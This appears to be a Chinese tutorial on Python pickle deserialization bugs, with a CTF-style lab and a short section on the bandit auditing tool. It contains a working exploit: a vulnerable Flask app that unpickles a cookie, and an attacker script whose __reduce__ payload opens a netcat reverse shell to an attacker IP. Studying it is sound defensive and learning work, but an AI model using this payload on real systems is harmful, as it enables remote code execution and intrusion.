Python-反序列化函数使用

pickle.dump(obj, file) : 将对象序列化后保存到文件

pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象

pickle.dumps(obj) : 将对象序列化成字符串格式的字节流

pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象

魔术方法:

reduce() 反序列化时调用

reduce_ex() 反序列化时调用

setstate() 反序列化时调用

getstate() 序列化时调用

各类语言函数:

Java: Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等

PHP: serialize()、 unserialize()

Python:pickle marshal PyYAML shelve PIL unzip

案例一:

import pickle

import os

\#反序列化魔术方法调用-__reduce__() __reduce_ex__() __setstate__()

class A(object):

def __reduce__(self):

print('反序列化调用')

return (os.system,('calc',))

a = A()

p_a = pickle.dumps(a)

pickle.loads(p_a)

print('==========')

print(p_a)

案例二:

class SerializePerson():

def __init__(self, name):

self.name = name

\# 构造 __setstate__ 方法

def __setstate__(self, name):

os.system('calc') # 恶意代码

tmp = pickle.dumps(SerializePerson('tom')) #序列化

pickle.loads(tmp) # 反序列化 此时会弹出计算器

Python-反序列化POP链构造

#CTF-反序列化漏洞利用-构造&RCE

环境介绍:利用Python-flask搭建的web应用,获取当前用户的信息,进行展示,在获取用户的信息时,通过对用户数据进行反序列化获取导致的安全漏洞!

-Server服务器:

import pickle

import base64

from flask import Flask, request

app = Flask(__name__)

@app.route("/")

def index():

try:

user = base64.b64decode(request.cookies.get('user'))

user = pickle.loads(user)

username = user["username"]

except:

username = "Guest"

return "Hello %s" % username

if __name__ == "__main__":

app.run(

host='192.168.1.3',

port=5000,

debug=True

)

服务器开启一个web服务

-Hacker服务器:

import requests

import pickle

import os

import base64

class exp(object):

def __reduce__(self):

s='c:/nc.exe -e cmd 192.168.46.137 6666'

return (os.system, (s,))

e = exp()

s = pickle.dumps(e)

print(s)

response = requests.get("http://192.168.1.3:5000/", cookies=dict(

user=base64.b64encode(s).decode()

))

print(response.content)



开启监听

攻击者执行反弹shell

Python-自动化审计bandit使用

参考:https://bandit.readthedocs.io/

安装:pip install bandit

linux:

安装后会在当前Python目录下bin

使用:bandit -r 需要审计的源码目录

windows:

安装后会在当前Python目录下script

使用:bandit -r 需要审计的源码目录

python 反序列化的更多相关文章

  1. python反序列化研究学习

    零.补充: 补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输. ...

  2. 浅谈python反序列化漏洞

    最近看到p神一篇讲python反序列化的文章,结合redis未授权访问组合漏洞,感觉在flask和redis的构架中比较常见,便记录下来. p神原文:https://www.leavesongs.co ...

  3. Python 反序列化漏洞学习笔记

    参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下 ...

  4. Python反序列化 pickle

    # 若需要处理更复杂的数据, 用pickle. pickle只有在Python里能用, 其它语言不行. # 序列化. import pickle def sayhi(name): print('hel ...

  5. python反序列化

    import pickle import os class A(object): def __reduce__(self): a = """python -c 'impo ...

  6. python反序列化漏洞

    原理在网页源码中如果出现将用户输入数据进行反序列化当成参数输出时,出现漏洞,可造成任意命令执行例如网页源码try:       become = self.get_argument('become') ...

  7. BUUCTF-web ikun(Python 反序列化)

    正如本题所说,脑洞有点大.考点还很多,不过最核心的还是python的pickle反序列化漏洞 题目中暗示了要6级号,找了很多页都没看到,于是写了脚本 在第180页有6级号,但是价格出奇的高,明显买不起 ...

  8. python反序列化学习记录

    pickle与序列化和反序列化 官方文档 模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化. "pickling" 是将 Python 对象及其所拥 ...

  9. IKUN python 反序列化

    题目过程1.一开始提示说要买到V6,观察源码,发现/static/img/lv/lv4.png.注册之后尝试寻找V6.观察url发现/shop?page=2.尝试写脚本匹配一下.发现在第181页. i ...

  10. python反序列化1(__reduce__)

    part1:不求甚解的复现 对于服务端源码:    编写恶意序列化对象生成程序: 将生成的恶意序列化对象输入服务端user,使其执行系统命令.(上面那俩其实都行) part2:原理解释 b'xxx'是 ...

随机推荐

  1. 编写Python代码的注意事项

    1.标识符 标识符是定义的名称,包括类名.变量名等等 标识符的大小写是敏感的,且第一个字符必须是字母表中的字母或"_" 在python3中,中文可被用作变量名 不能使用Python ...

  2. CF549G题解

    变菜了,一年前做这种题10min出结论,现在对着样例胡半天都没结果 首先考虑从判断无解入手. 定义两个位置 \((i,j)\),若 \(a[i]=a[j]+(j-i)\),则 \(i\) 和 \(j\ ...

  3. 导入导出笔记-easyExcel初探(表格导入和模板化导出)

    前言 本文使用的EasyExcel Alibaba和EasyPoi Apache技术栈分析 EasyExcel Dependency EasyPoi Dependency 1.需求一:表格化需求导入导 ...

  4. Python函数-5 生成器

    生成器有时候,序列或集合内的元素的个数非常巨大,如果全制造出来并放入内存,对计算机的压力是非常大的.比如,假设需要获取一个10**20次方如此巨大的数据序列,把每一个数都生成出来,并放在一个内存的列表 ...

  5. 二维码生成工具——QRCode

    下载QRCode的源代码:https://github.com/davidshimjs/qrcodejs 引入项目中:<script type="text/javascript&quo ...

  6. Oracle 11g中查询CPU占有率高的SQL

    oracle版本:oracle11g 背景:今天在Linux中的oracle服务上,运用top命令发现许多进程的CPU占有率是100%. 操作步骤: 以进程PID:7851为例 执行以下语句: 方法一 ...

  7. 一个故事看懂CPU的SIMD技术

    好久不见,我叫阿Q,是CPU一号车间的员工.我所在的CPU有8个车间,也就是8个核心,咱们每个核心都可以同时执行两个线程,就是8核16线程,那速度杠杠滴. 我所在的一号车间,除了负责执行指令的我,还有 ...

  8. 采用WPF开发第二版OFD阅读器,持续完善中,敬请期待!

    本人研究OFD多年,采用C#和QT开发了一系列ofd相关软件.在这些产品中,阅读器始终占据着非常重要的位置.可以说,阅读器是直接面向最终客户的产品.是集OFD各类知识之大成的产品.市面上的阅读器产品林 ...

  9. 面试官:知道ThreadLocal嘛?谈谈你对它的理解?(基于jdk1.8)

    https://zhuanlan.zhihu.com/p/99150038   ​ 西北工业大学 计算机技术硕士在读 在java的多线程模块中,ThreadLocal是经常被提问到的一个知识点,提问的 ...

  10. Redis的持久化方案(三)

    Redis的所有数据都是保存到内存中的. Rdb:快照形式,定期把内存中当前时刻的数据保存到磁盘.Redis默认支持的持久化方案. aof形式:append only file.把所有对redis数据 ...